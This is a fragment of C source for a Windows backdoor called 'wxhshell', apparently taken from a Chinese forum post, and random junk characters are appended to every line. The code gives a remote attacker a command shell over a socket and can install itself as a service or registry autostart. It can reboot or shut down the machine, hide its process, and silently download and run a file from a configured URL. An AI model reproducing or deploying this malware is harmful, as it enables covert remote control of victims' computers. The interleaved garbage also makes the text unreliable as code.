    switch(cmd[0]) { 0t[ 1#!=k  
  EM(%|#  
  // 帮助 /dO*t4$@?  
  case '?': { @/,0()*dL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .W\JvPTC  
    break; +%H=+fJ2}  
  } x_t$*  
  // 安装 @?>5~  
  case 'i': {  W_6gV  
    if(Install()) %l,CJd5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q zg?#|  
    else Hy5 6@jW+E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6LrI,d  
    break; *R}p9;dpO  
    } 31\mF\{V  
  // 卸载 Z;S)GUG^  
  case 'r': { G5%k.IRz  
    if(Uninstall()) _0BQnzC=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2}XxRJ0   
    else c/^l2CJ0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \H&;.??W  
    break; fR?'HsQg  
    } %}JSR y  
  // 显示 wxhshell 所在路径 PjofW%7F  
  case 'p': { |qVM`,%L  
    char svExeFile[MAX_PATH]; =KAN|5yn  
    strcpy(svExeFile,"\n\r"); ?D|kCw69SE  
      strcat(svExeFile,ExeFile); (|#%omLL  
        send(wsh,svExeFile,strlen(svExeFile),0); MV w.Fl  
    break; R13V }yL  
    } U&43/;<,  
  // 重启 V>`9ey!U  
  case 'b': { 5 `@yX[G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3,EtyJ3[Bh  
    if(Boot(REBOOT)) n a*Z0y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Na@T]J  
    else { 6v74mIRn'?  
    closesocket(wsh); 2I|lY>Z  
    ExitThread(0); 1;PI%++  
    } 97 ,Yq3  
    break; u1gD*4+  
    } @-Y,9mM   
  // 关机 M2;6Cz>,P  
  case 'd': { ]"^ p}:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5(GVwv  
    if(Boot(SHUTDOWN)) R#i`H(N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2a;[2':  
    else { W7;RQ  
    closesocket(wsh); 'v@*xF/L6a  
    ExitThread(0); YI;MS:Qj  
    } 6Eus_aP  
    break; EG|_YW7  
    } Yg}b%u,Q  
  // 获取shell o^'QGs "  
  case 's': { ;.<HpDfG_  
    CmdShell(wsh); pFV~1W:  
    closesocket(wsh); uH(M@7"6_!  
    ExitThread(0); |Qb@.  
    break; xj9xUun  
  } 8Q"1I7U  
  // 退出 acgx')!c  
  case 'x': { dWu;F^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >vR2K^  
    CloseIt(wsh); 6$kh5$[  
    break; sCmN|Q  
    } ggrkj0  
  // 离开 lIZ&' z  
  case 'q': { x6$3 KDQm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dt>9mF q  
    closesocket(wsh); \ .+:yV<$  
    WSACleanup(); ;)SWwhQ  
    exit(1); ` @lNt}  
    break; :6Tv4ZUvcG  
        } &;`E3$>  
  } o q6^  
  } 4)>S3Yr  
KV-h~C  
  // 提示信息 OT$++cj^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JStEOQF4  
} ^.  
  } CJDNS21m  
mB6%. "  
  return; GctV  
} OEX\]!3_Fm  
us8HXvvp{  
// shell模块句柄 d{7)_Sbky  
int CmdShell(SOCKET sock) +WKN&@  
{ KfPgj  
STARTUPINFO si; y&eU\>M  
ZeroMemory(&si,sizeof(si)); $dWYu"2C D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~;YkR'q0_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kBnb9'.A1  
PROCESS_INFORMATION ProcessInfo; Rlm28  
char cmdline[]="cmd"; HuK Ob4g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +F%tBUY{<  
  return 0; Ct zW do.  
} .JJ50p  
"zzb`T[8  
// 自身启动模式 F~hH>BH9  
int StartFromService(void) pSEaE9AX%  
{ kY6_n4  
typedef struct 'cAS>s"$}V  
{ ;j[:tt\k  
  DWORD ExitStatus; 9'e<{mlM  
  DWORD PebBaseAddress;  =zDvZ(5  
  DWORD AffinityMask; ):nC%0V  
  DWORD BasePriority; Xy`'h5  
  ULONG UniqueProcessId; R3LIN-g(  
  ULONG InheritedFromUniqueProcessId; :zvAlt'q=  
}   PROCESS_BASIC_INFORMATION; fC[~X[H  
)O$S3ojZ  
PROCNTQSIP NtQueryInformationProcess; tA,J~|+f:  
M _lLP8W}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JiuA"ks)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U.b|3E/^  
(<@`MPI\@  
  HANDLE             hProcess; k7L4~W  
  PROCESS_BASIC_INFORMATION pbi; rz2,42H]  
jGo\_O<of  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2- (}=N  
  if(NULL == hInst ) return 0;  B@*!>R  
:#{0yno)H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Iz;^D!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q`Q"p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yF_/.mI  
_34%St!lg  
  if (!NtQueryInformationProcess) return 0; @v!#_%J  
<^'IC9D]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }_mMQg2>=  
  if(!hProcess) return 0; o>T+fBHE  
(H:A|Lw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fF=tT C  
]{#Xcqx  
  CloseHandle(hProcess); Y=O-^fL  
1CM 8P3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NR-<2 e3  
if(hProcess==NULL) return 0; B[ D s?:  
Bn=YGEvz  
HMODULE hMod; (:%t  
char procName[255]; )vg@Kc26  
unsigned long cbNeeded; PlT_]p  
\OWxf[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Lxv_{~I*  
tw.z5  
  CloseHandle(hProcess); Uyeo0B"  
$fT#Wva-\d  
if(strstr(procName,"services")) return 1; // 以服务启动 ,t9CP  
-mo4`F  
  return 0; // 注册表启动 -7o-d-d F  
} yX%> %#$  
8<KC-|y.  
// 主模块 Ol>/^3 a=  
int StartWxhshell(LPSTR lpCmdLine) /F''4%S?E  
{ C@-cLk  
  SOCKET wsl; ^P A|RFP  
BOOL val=TRUE; hst Ge>f[6  
  int port=0; =4U$9jo!;  
  struct sockaddr_in door; ,JTyOBB<I  
"A5z!6T{  
  if(wscfg.ws_autoins) Install(); {i3=N{5b  
] \!,yiVeU  
port=atoi(lpCmdLine); #e[r0f?U  
i }Zz[b  
if(port<=0) port=wscfg.ws_port; r(_Fr#Qn  
* kUb[  
  WSADATA data; 5lM 3In@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e eyZ $n  
/[ Rp~YzW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E8<,j})*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H`Zg-j`  
  door.sin_family = AF_INET; Bsd~_y}8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %.Kr`#lCr  
  door.sin_port = htons(port); 3/(eK%d4Xb  
TC@F*B;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !1]jk(Z  
closesocket(wsl); s$0dLEa9  
return 1; A@4{-e\  
} JRE\R&>g  
nr( C*E  
  if(listen(wsl,2) == INVALID_SOCKET) { 0m\( @2E  
closesocket(wsl); HzuG- V  
return 1; m`Z.xIA7;  
} ycvgF6Me<  
  Wxhshell(wsl); :b_hF  
  WSACleanup(); pL>Yx>  
z8)&ekG  
return 0; 8= 82x  
i~M-V=Zg  
} <'A-9y]-v  
+Mn(s36f2  
// 以NT服务方式启动 D`.\c#;cN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vkM_a}%<  
{ Rt5Xqz\6i  
DWORD   status = 0; >%n6n! "  
  DWORD   specificError = 0xfffffff; n* .<L  
U^DR'X=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4X}TG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YG*}F|1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |S]fs9  
  serviceStatus.dwWin32ExitCode     = 0; 73{<;z}i  
  serviceStatus.dwServiceSpecificExitCode = 0; b.}J'?yLm  
  serviceStatus.dwCheckPoint       = 0; D$w?  
  serviceStatus.dwWaitHint       = 0; -$@'@U  
hQNUA|Q=%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h7m$P^=U  
  if (hServiceStatusHandle==0) return; t+^__~IX  
@ Yo*h"s  
status = GetLastError(); ^% Ln@!P  
  if (status!=NO_ERROR) ~(`MP<  
{ F< dhG>E9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w^7[4u4  
    serviceStatus.dwCheckPoint       = 0; X76rme  
    serviceStatus.dwWaitHint       = 0; _6]CT0  
    serviceStatus.dwWin32ExitCode     = status; - &)  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,zJ:a>v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -b?s\X  
    return; hQvI}  
  } ' 8Q }pp`  
NpbZt;%t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fl4'dv  
  serviceStatus.dwCheckPoint       = 0; R4zOiBi'B  
  serviceStatus.dwWaitHint       = 0; `}a-prT<f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u%OLXb  
} #H5 +8W  
77]lp mC  
// 处理NT服务事件,比如:启动、停止 Y 7?q `  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o0dD  
{ BgB0   
switch(fdwControl) 0fV}n:4Pq  
{ 8M BY3F  
case SERVICE_CONTROL_STOP: wARd^Iw  
  serviceStatus.dwWin32ExitCode = 0; Kv#Q$$)r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0[8uuqV[cB  
  serviceStatus.dwCheckPoint   = 0; fN9uSnu  
  serviceStatus.dwWaitHint     = 0; TIF  =fQ  
  { Wi~?2-!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'I>geW?{QK  
  } 1p<*11  
  return; li#ep?5h^  
case SERVICE_CONTROL_PAUSE: [8 23w.{]#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6J cXhlB`  
  break; wX!0KxR/Z  
case SERVICE_CONTROL_CONTINUE: SWT)M1O2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \vpX6!T  
  break; zW[HGI6w  
case SERVICE_CONTROL_INTERROGATE: VmXXj6l&  
  break; S]4!uv^y  
}; N,F[x0&?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zIr-Rx'dL^  
} 5)->.*G*  
X8~?uroq  
// 标准应用程序主函数 3 [O+wVv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z8f?uF  
{ zP|^@Homk  
r*FAUb`bG  
// 获取操作系统版本 \(zUI  
OsIsNt=GetOsVer(); X'xnJtk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QVl"l'e8  
_!?a9  
  // 从命令行安装 iWkC: fQz  
  if(strpbrk(lpCmdLine,"iI")) Install(); N7)K\)DS!z  
],'"iVh  
  // 下载执行文件 dMI G2log  
if(wscfg.ws_downexe) { BJp~/H`vd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %P C[-(Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3aJYl3:0B  
} {c<cSrfI  
]v+yeGIKS  
if(!OsIsNt) { fOP3`G^\  
// 如果时win9x,隐藏进程并且设置为注册表启动 \GK]6VW  
HideProc(); w 5t|C>  
StartWxhshell(lpCmdLine); .B!  Z0  
} {CX06BP  
else @R`Ao9n9V  
  if(StartFromService()) tK 6=F63e  
  // 以服务方式启动 jFI`CA6P  
  StartServiceCtrlDispatcher(DispatchTable); s;[WN.  
else L9!\\U  
  // 普通方式启动 I:;umyRH  
  StartWxhshell(lpCmdLine); ? 0:=+%.  
L3s"L.G  
return 0; EbJc%%c  
}
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只看该作者 1 发表于: 2006-10-10
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